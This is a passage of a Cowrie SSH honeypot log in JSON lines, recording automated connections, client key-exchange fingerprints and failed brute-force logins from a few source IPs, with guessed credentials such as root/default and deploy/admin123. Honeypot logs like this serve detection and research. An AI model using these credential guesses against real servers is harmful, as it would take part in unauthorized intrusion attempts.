a2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:18.454313Z","src_ip":"45.153.34.195","session":"47cadfbde86c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"12345","message":"login attempt [debian/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:19.063677Z","src_ip":"45.153.34.195","session":"47cadfbde86c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:19.998669Z","src_ip":"91.92.40.36","session":"4704970c84a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:20.146774Z","src_ip":"45.153.34.195","session":"47cadfbde86c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12924,"dst_ip":"159.203.135.109","dst_port":22,"session":"199620951ebe","protocol":"ssh","message":"New connection: 91.92.40.36:12924 (159.203.135.109:22) [session: 199620951ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:21.175677Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":54736,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ed8109ebc7c","protocol":"ssh","message":"New connection: 45.153.34.195:54736 (10.17.0.5:22) [session: 9ed8109ebc7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:21.237566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:21.242647Z","src_ip":"45.153.34.195","session":"9ed8109ebc7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:21.330471Z","src_ip":"45.153.34.195","session":"9ed8109ebc7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin123","message":"login attempt [deploy/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:21.654639Z","src_ip":"45.153.34.195","session":"9ed8109ebc7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:22.738219Z","src_ip":"45.153.34.195","session":"9ed8109ebc7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":57954,"dst_ip":"159.203.135.109","dst_port":22,"session":"50259ee3eb96","protocol":"ssh","message":"New connection: 176.32.39.21:57954 (159.203.135.109:22) [session: 50259ee3eb96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:22.809487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:22.817834Z","src_ip":"176.32.39.21","session":"50259ee3eb96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:22.946415Z","src_ip":"176.32.39.21","session":"50259ee3eb96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sentry","password":"sentry","message":"login attempt [sentry/sentry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:23.008490Z","src_ip":"91.92.40.36","session":"8b4f25a41098","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"v1o2v3a4","message":"login attempt [root/v1o2v3a4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:23.308865Z","src_ip":"176.32.39.21","session":"50259ee3eb96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":10670,"dst_ip":"10.17.0.5","dst_port":22,"session":"61e1bf3a731d","protocol":"ssh","message":"New connection: 45.153.34.195:10670 (10.17.0.5:22) [session: 61e1bf3a731d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:24.258960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:24.264919Z","src_ip":"45.153.34.195","session":"61e1bf3a731d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:24.350416Z","src_ip":"45.153.34.195","session":"61e1bf3a731d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:24.432298Z","src_ip":"176.32.39.21","session":"50259ee3eb96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12940,"dst_ip":"159.203.135.109","dst_port":22,"session":"37eda225958c","protocol":"ssh","message":"New connection: 91.92.40.36:12940 (159.203.135.109:22) [session: 37eda225958c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:24.440794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:24.591945Z","src_ip":"91.92.40.36","session":"199620951ebe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:24.595423Z","src_ip":"91.92.40.36","session":"199620951ebe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cyrus","password":"cyrus","message":"login attempt [cyrus/cyrus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:24.606706Z","src_ip":"45.153.34.195","session":"61e1bf3a731d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:25.690160Z","src_ip":"45.153.34.195","session":"61e1bf3a731d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.6","message":"Connection lost after 11.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:26.114251Z","src_ip":"91.92.40.36","session":"8b4f25a41098","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:26.446589Z","src_ip":"91.92.40.36","session":"37eda225958c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:26.449707Z","src_ip":"91.92.40.36","session":"37eda225958c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":10686,"dst_ip":"10.17.0.5","dst_port":22,"session":"fedf2ebfb2c6","protocol":"ssh","message":"New connection: 45.153.34.195:10686 (10.17.0.5:22) [session: fedf2ebfb2c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:27.236331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:27.260383Z","src_ip":"45.153.34.195","session":"fedf2ebfb2c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:27.342860Z","src_ip":"45.153.34.195","session":"fedf2ebfb2c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mh","password":"mh","message":"login attempt [mh/mh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:27.701338Z","src_ip":"45.153.34.195","session":"fedf2ebfb2c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:28.887128Z","src_ip":"45.153.34.195","session":"fedf2ebfb2c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":53872,"dst_ip":"159.203.135.109","dst_port":22,"session":"79ba80630fd8","protocol":"ssh","message":"New connection: 27.71.230.31:53872 (159.203.135.109:22) [session: 79ba80630fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:29.987434Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":10692,"dst_ip":"10.17.0.5","dst_port":22,"session":"71806a97f1d1","protocol":"ssh","message":"New connection: 45.153.34.195:10692 (10.17.0.5:22) [session: 71806a97f1d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:30.006460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:30.019437Z","src_ip":"45.153.34.195","session":"71806a97f1d1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:30.045305Z","src_ip":"27.71.230.31","session":"79ba80630fd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:30.110681Z","src_ip":"45.153.34.195","session":"71806a97f1d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:30.666316Z","src_ip":"45.153.34.195","session":"71806a97f1d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":58202,"dst_ip":"159.203.135.109","dst_port":22,"session":"984a4c30aca6","protocol":"ssh","message":"New connection: 201.17.146.173:58202 (159.203.135.109:22) [session: 984a4c30aca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:31.538853Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:31.572533Z","src_ip":"27.71.230.31","session":"79ba80630fd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:31.750101Z","src_ip":"45.153.34.195","session":"71806a97f1d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51080,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e2afa5bc4cd","protocol":"ssh","message":"New connection: 91.92.40.36:51080 (159.203.135.109:22) [session: 6e2afa5bc4cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:32.018953Z"}
